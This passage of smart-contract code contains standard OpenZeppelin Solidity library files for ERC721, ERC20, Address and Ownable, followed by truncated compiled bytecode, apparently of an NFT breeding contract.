transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x6080604052600436106102045760003560e01c806370a0823111610118578063d5abeb01116100a0578063de809e861161006f578063de809e86146105ba578063de836ebd146105da578063e150bb5d146105fa578063e985e9c51461061a578063f2fde38b1461066357600080fd5b8063d5abeb0114610534578063d8effded1461054a578063da3ef23f1461057a578063daac4c3a1461059a57600080fd5b806395d89b41116100e757806395d89b41146104aa578063a22cb465146104bf578063b88d4fde146104df578063c6682862146104ff578063c87b56dd1461051457600080fd5b806370a0823114610437578063715018a6146104575780637c7b27491461046c5780638da5cb5b1461048c57600080fd5b80633ccfd60b1161019b57806355f804b31161016a57806355f804b3146103a85780635c975abb146103c85780636352211e146103e25780636c0360eb146104025780636f8b44b01461041757600080fd5b80633ccfd60b1461033357806340d107a51461033b57806342842e0e1461035b578063438b63001461037b57600080fd5b8063095ea7b3116101d7578063095ea7b3146102ba57806318160ddd146102da5780631c60e18b146102fd57806323b872dd1461031357600080fd5b806301ffc9a71461020957806302329a291461023e57806306fdde0314610260578063081812fc14610282575b600080fd5b34801561021557600080fd5b50610229610224366004611cca565b610683565b60405190151581526020015b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611cf5565b6106d5565b005b34801561026c57600080fd5b5061027561071b565b6040516102359190611d6a565b34801561028e57600080fd5b506102a261029d366004611d7d565b6107ad565b6040516001600160a01b039091168152602001610235565b3480156102c657600080fd5b5061025e6102d5366004611dab565b610842565b3480156102e657600080fd5b506102ef610957565b604051908152602001610235565b34801561030957600080fd5b506102ef600a5481565b34801561031f57600080fd5b5061025e61032e366004611dd7565b610967565b61025e610998565b34801561034757600080fd5b50600e546102a2906001600160a01b031681565b34801561036757600080fd5b5061025e610376366004611dd7565b6109e8565b34801561038757600080fd5b5061039b610396366004611e18565b610a03565b6040516102359190611e35565b3480156103b457600080fd5b5061025e6103c3366004611f18565b610ae3565b3480156103d457600080fd5b50600c546102299060ff1681565b3480156103ee57600080fd5b506102a26103fd366004611d7d565b610b24565b34801561040e57600080fd5b50610275610b9b565b34801561042357600080fd5b5061025e610432366004611d7d565b610c29565b34801561044357600080fd5b506102ef610452366004611e18565b610c58565b34801561046357600080fd5b5061025e610cdf565b34801561047857600080fd5b5061025e610487366004611d7d565b610d13565b34801561049857600080fd5b506006546001600160a01b03166102a2565b3480156104b657600080fd5b50610275610d42565b3480156104cb57600080fd5b5061025e6104da366004611f61565b610d51565b3480156104eb57600080fd5b5061025e6104fa366004611f9a565b610d5c565b34801561050b57600080fd5b50610275610d94565b34801561052057600080fd5b5061027561052f366004611d7d565b610da1565b34801561054057600080fd5b506102ef600b5481565b34801561055657600080fd5b50610229610565366004611d7d565b600d6020526000908152604090205460ff1681565b34801561058657600080fd5b5061025e610595366004611f18565b610e7f565b3480156105a657600080fd5b50600f546102a2906001600160a01b031681565b3480156105c657600080fd5b5061025e6105d5366004611e18565b610ebc565b3480156105e657600080fd5b5061025e6105f536600461201a565b610f05565b34801561060657600080fd5b5061025e610615366004611e18565b611341565b34801561062657600080fd5b506102296106353660046120d5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561066f57600080fd5b5061025e61067e366004611e18565b61138b565b60006001600160e01b031982166380ac58cd60e01b14806106b457506001600160e01b03198216635b5e139f60e01b145b806106cf57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6006546001600160a01b031633146107085760405162461bcd60e51b81526004016106ff90612103565b60405180910390fd5b600c805460ff1916911515919091179055565b60606000805461072a90612138565b80601f016020809104026020016040519081016040528092919081815260200182805461075690612138565b80156107a35780601f10610778576101008083540402835291602001916107a3565b820191906000526020600020905b81548152906001019060200180831161078657829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108265760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106ff565b506000908152600460205260409020546001600160a01b031690565b600061084d82610b24565b9050806001600160a01b0316836001600160a01b0316036108ba5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106ff565b336001600160a01b03821614806108d657506108d68133610635565b6109485760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106ff565b6109528383611423565b505050565b600061096260075490565b905090565b6109713382611491565b61098d5760405162461bcd60e51b81526004016106ff90612172565b610952838383611588565b6006546001600160a01b031633146109c25760405162461bcd60e51b81526004016106ff90612103565b60405133904780156108fc02916000818181858888f193505050506109e657600080fd5b565b61095283838360405180602001604052806000815250610d5c565b60606000610a1083610c58565b905060008167ffffffffffffffff811115610a2d57610a2d611e79565b604051908082528060200260200182016040528015610a56578160200160208202803683370190505b509050600160005b8381108015610a6f5750600b548211155b15610ad9576000610a7f83610b24565b9050866001600160a01b0316816001600160a01b031603610ac65782848381518110610aad57610aad6121c3565b602090810291909101015281610ac2816121ef565b9250505b82610ad0816121ef565b93505050610a5e565b5090949350505050565b6006546001600160a01b03163314610b0d5760405162461bcd60e51b81526004016106ff90612103565b8051610b20906008906020840190611c1b565b5050565b6000818152600260205260408120546001600160a01b0316806106cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106ff565b60088054610ba890612138565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd490612138565b8015610c215780601f10610bf657610100808354040283529160200191610c21565b820191906000526020600020905b815481529060010190602001808311610c0457829003601f168201915b505050505081565b6006546001600160a01b03163314610c535760405162461bcd60e51b81526004016106ff90612103565b600b55565b60006001600160a01b038216610cc35760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106ff565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610d095760405162461bcd60e51b81526004016106ff90612103565b6109e66000611728565b6006546001600160a01b03163314610d3d5760405162461bcd60e51b81526004016106ff90612103565b600a55565b60606001805461072a90612138565b610b2033838361177a565b610d663383611491565b610d825760405162461bcd60e51b81526004016106ff90612172565b610d8e84848484611848565b50505050565b60098054610ba890612138565b6000818152600260205260409020546060906001600160a01b0316610e205760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106ff565b6000610e2a61187b565b90506000815111610e4a5760405180602001604052806000815250610e78565b80610e548461188a565b6009604051602001610e6893929190612208565b6040516020818303038152906040525b9392505050565b6006546001600160a01b03163314610ea95760405162461bcd60e51b81526004016106ff90612103565b8051610b20906009906020840190611c1b565b6006546001600160a01b03163314610ee65760405162461bcd60e51b81526004016106ff90612103565b600f80546001600160a01b0319166001600160a01b0383161790555b50565b600c5460ff1615610f4d5760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b60448201526064016106ff565b6000815111610f9e5760405162461bcd60e51b815260206004820152601e60248201527f4d696e7420616d6f756e74206d757374206265206174206c656173742031000060448201526064016106ff565b600b548151610fab610957565b610fb591906122cb565b1115610ffa5760405162461bcd60e51b8152602060048201526014602482015273151bdd185b081cdd5c1c1b1e481c995858da195960621b60448201526064016106ff565b60005b815181101561118f57600e54825133916001600160a01b031690636352211e9085908590811061102f5761102f6121c3565b60200260200101516040518263ffffffff1660e01b815260040161105591815260200190565b602060405180830381865afa158015611072573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109691906122e3565b6001600160a01b0316146110f85760405162461bcd60e51b8152602060048201526024808201527f596f7520617265206e6f7420746865206f776e6572206f66207468697320447260448201526330b3b7b760e11b60648201526084016106ff565b600d600083838151811061110e5761110e6121c3565b60209081029190910181015182528101919091526040016000205460ff16151560010361117d5760405162461bcd60e51b815260206004820152601f60248201527f4261627920447261676f6e2063616e206f6e6c79204272656564206f6e63650060448201526064016106ff565b80611187816121ef565b915050610ffd565b50600f546001600160a01b03166323b872dd336111b46006546001600160a01b031690565b600a5485516111c39190612300565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015611217573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123b919061231f565b61127d5760405162461bcd60e51b81526020600482015260136024820152724d757374206861766520616c6c6f77616e636560681b60448201526064016106ff565b60005b8151811015611300576001600d60008484815181106112a1576112a16121c3565b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055506112dc600780546001019055565b6112ee836112e960075490565b61198b565b806112f8816121ef565b915050611280565b506040516001600160a01b03831681527fb576d40e2e6d5b75029322aca8b0611423c787c899d052f3d0911c302fc54f7b9060200160405180910390a15050565b6006546001600160a01b0316331461136b5760405162461bcd60e51b81526004016106ff90612103565b600e80546001600160a01b0383166001600160a01b031990911617905550565b6006546001600160a01b031633146113b55760405162461bcd60e51b81526004016106ff90612103565b6001600160a01b03811661141a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ff565b610f0281611728565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061145882610b24565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b031661150a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f